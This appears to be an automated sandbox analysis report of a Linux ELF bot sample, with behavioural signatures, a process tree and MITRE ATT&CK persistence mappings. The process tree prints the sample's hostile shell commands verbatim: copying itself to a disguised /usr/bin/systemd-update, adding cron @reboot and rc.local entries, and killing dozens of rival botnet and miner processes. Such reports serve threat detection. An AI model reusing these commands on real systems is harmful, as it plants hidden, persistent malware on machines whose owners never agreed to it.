Analysis
- max time kernel
149s - max time network
147s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20251231-en - resource tags
- submitted
04/01/2026, 09:08
General
- Target x86_64.elf
- Size 143KB
- Sample260104-k4bejsaq21
- SHA256 73ed2c3b85a3b6805b6ec88cb67bf2141b2a3bb41792ebc2df9659771e437e54
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Modifies hosts file 1 IoCs
Adds to hosts file used for mapping hosts to IP addresses.
- Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Enumerates running processes
Discovers information about currently running processes on the system
- Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
- Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
- Write file to user bin folder 1 IoCs
- Changes its process name 6 IoCs
- Reads CPU attributes 1 TTPs 39 IoCs
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/x86_64.elf/tmp/x86_64.elf1⤵
- Modifies hosts file
- Modifies systemd
- Changes its process name
- Reads runtime system information
- Writes file to tmp directory
-
/bin/shsh -c "cp '/tmp/x86_64.elf' '/usr/bin/systemd-update' 2>/dev/null && chmod +x '/usr/bin/systemd-update'"2⤵
- File and Directory Permissions Modification
-
/bin/cpcp /tmp/x86_64.elf /usr/bin/systemd-update3⤵
- Write file to user bin folder
-
-
/bin/chmodchmod +x /usr/bin/systemd-update3⤵
- File and Directory Permissions Modification
-
-
-
/bin/shsh -c "(crontab -l 2>/dev/null; echo '@reboot /usr/bin/systemd-update') | crontab - 2>/dev/null"2⤵
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
-
/bin/shsh -c "grep -q 'systemd-update' /etc/rc.local 2>/dev/null || echo '/usr/bin/systemd-update &' >> /etc/rc.local 2>/dev/null"2⤵
- Modifies rc script
-
/bin/grepgrep -q systemd-update /etc/rc.local3⤵
-
-
-
/bin/shsh -c "chmod +x /etc/rc.local 2>/dev/null"2⤵
- File and Directory Permissions Modification
-
/bin/chmodchmod +x /etc/rc.local3⤵
- File and Directory Permissions Modification
-
-
-
/bin/shsh -c "crontab -l | grep -q systemd-update"2⤵
-
/bin/grepgrep -q systemd-update3⤵
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
-
/bin/shsh -c "pkill -9 -f mirai"2⤵
-
/usr/bin/pkillpkill -9 -f mirai3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f qbot"2⤵
-
/usr/bin/pkillpkill -9 -f qbot3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f gafgyt"2⤵
-
/usr/bin/pkillpkill -9 -f gafgyt3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f xmrig"2⤵
-
/usr/bin/pkillpkill -9 -f xmrig3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f minerd"2⤵
-
/usr/bin/pkillpkill -9 -f minerd3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f dvrhelper"2⤵
-
/usr/bin/pkillpkill -9 -f dvrhelper3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f tsunami"2⤵
-
/usr/bin/pkillpkill -9 -f tsunami3⤵
- Reads CPU attributes
-
-
-
/bin/shsh -c "pkill -9 -f bashlite"2⤵
-
/usr/bin/pkillpkill -9 -f bashlite3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f kaiten"2⤵
-
/usr/bin/pkillpkill -9 -f kaiten3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f moobot"2⤵
-
/usr/bin/pkillpkill -9 -f moobot3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f hajime"2⤵
-
/usr/bin/pkillpkill -9 -f hajime3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f reaper"2⤵
-
/usr/bin/pkillpkill -9 -f reaper3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f satori"2⤵
-
/usr/bin/pkillpkill -9 -f satori3⤵
- Reads CPU attributes
-
-
-
/bin/shsh -c "pkill -9 -f masuta"2⤵
-
/usr/bin/pkillpkill -9 -f masuta3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f okiru"2⤵
-
/usr/bin/pkillpkill -9 -f okiru3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f wicked"2⤵
-
/usr/bin/pkillpkill -9 -f wicked3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f owari"2⤵
-
/usr/bin/pkillpkill -9 -f owari3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f omni"2⤵
-
/usr/bin/pkillpkill -9 -f omni3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f echobot"2⤵
-
/usr/bin/pkillpkill -9 -f echobot3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f fbot"2⤵
-
/usr/bin/pkillpkill -9 -f fbot3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f torlus"2⤵
-
/usr/bin/pkillpkill -9 -f torlus3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f ircbot"2⤵
-
/usr/bin/pkillpkill -9 -f ircbot3⤵
- Reads CPU attributes
-
-
-
/bin/shsh -c "pkill -9 -f ddostf"2⤵
-
/usr/bin/pkillpkill -9 -f ddostf3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f mrblack"2⤵
-
/usr/bin/pkillpkill -9 -f mrblack3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f anime"2⤵
-
/usr/bin/pkillpkill -9 -f anime3⤵
- Reads CPU attributes
-
-
-
/bin/shsh -c "pkill -9 -f katana"2⤵
-
/usr/bin/pkillpkill -9 -f katana3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f hakai"2⤵
-
/usr/bin/pkillpkill -9 -f hakai3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f josho"2⤵
-
/usr/bin/pkillpkill -9 -f josho3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f keksec"2⤵
-
/usr/bin/pkillpkill -9 -f keksec3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f bushido"2⤵
-
/usr/bin/pkillpkill -9 -f bushido3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f dark"2⤵
-
/usr/bin/pkillpkill -9 -f dark3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f freakout"2⤵
-
/usr/bin/pkillpkill -9 -f freakout3⤵
- Reads CPU attributes
-
-
-
/bin/shsh -c "pkill -9 -f gitpaste"2⤵
-
/usr/bin/pkillpkill -9 -f gitpaste3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f lucifer"2⤵
-
/usr/bin/pkillpkill -9 -f lucifer3⤵
- Reads CPU attributes
-
-
-
/bin/shsh -c "pkill -9 -f mozi"2⤵
-
/usr/bin/pkillpkill -9 -f mozi3⤵
- Reads CPU attributes
- Reads runtime system information
-
-
-
/bin/shsh -c "pkill -9 -f pink"2⤵
-
/usr/bin/pkillpkill -9 -f pink3⤵
- Reads CPU attributes
-
-
-
/bin/shsh -c "pkill -9 -f simps"2⤵
-
/usr/bin/pkillpkill -9 -f simps3⤵
- Reads CPU attributes
-
-
-
/bin/shsh -c "pkill -9 -f xorddos"2⤵
-
/usr/bin/pkillpkill -9 -f xorddos3⤵
- Reads CPU attributes
-
-
-
/bin/shsh -c "pkill -9 -f ziggy"2⤵
-
/usr/bin/pkillpkill -9 -f ziggy3⤵
- Reads CPU attributes
-
-
-
/bin/shsh -c "rm -f /tmp/main_* >/dev/null 2>&1"2⤵
-
/bin/rmrm -f "/tmp/main_*"3⤵
-
-
-
/bin/shsh -c "rm -f /tmp/dlr.* >/dev/null 2>&1"2⤵
-
/bin/rmrm -f "/tmp/dlr.*"3⤵
-
-
-
/bin/shsh -c "rm -f /var/tmp/main_* >/dev/null 2>&1"2⤵
-
/bin/rmrm -f "/var/tmp/main_*"3⤵
-
-
-
/bin/shsh -c "rm -f /var/tmp/dlr.* >/dev/null 2>&1"2⤵
-
/bin/rmrm -f "/var/tmp/dlr.*"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2XDG Autostart Entries
1Boot or Logon Initialization Scripts
1RC Scripts
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
2XDG Autostart Entries
1Boot or Logon Initialization Scripts
1RC Scripts
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Replay Monitor
Loading Replay Monitor...
Downloads
rc.local
systemd-update.service
.systemd-update.lock
systemd-update
tmp.qwbsvC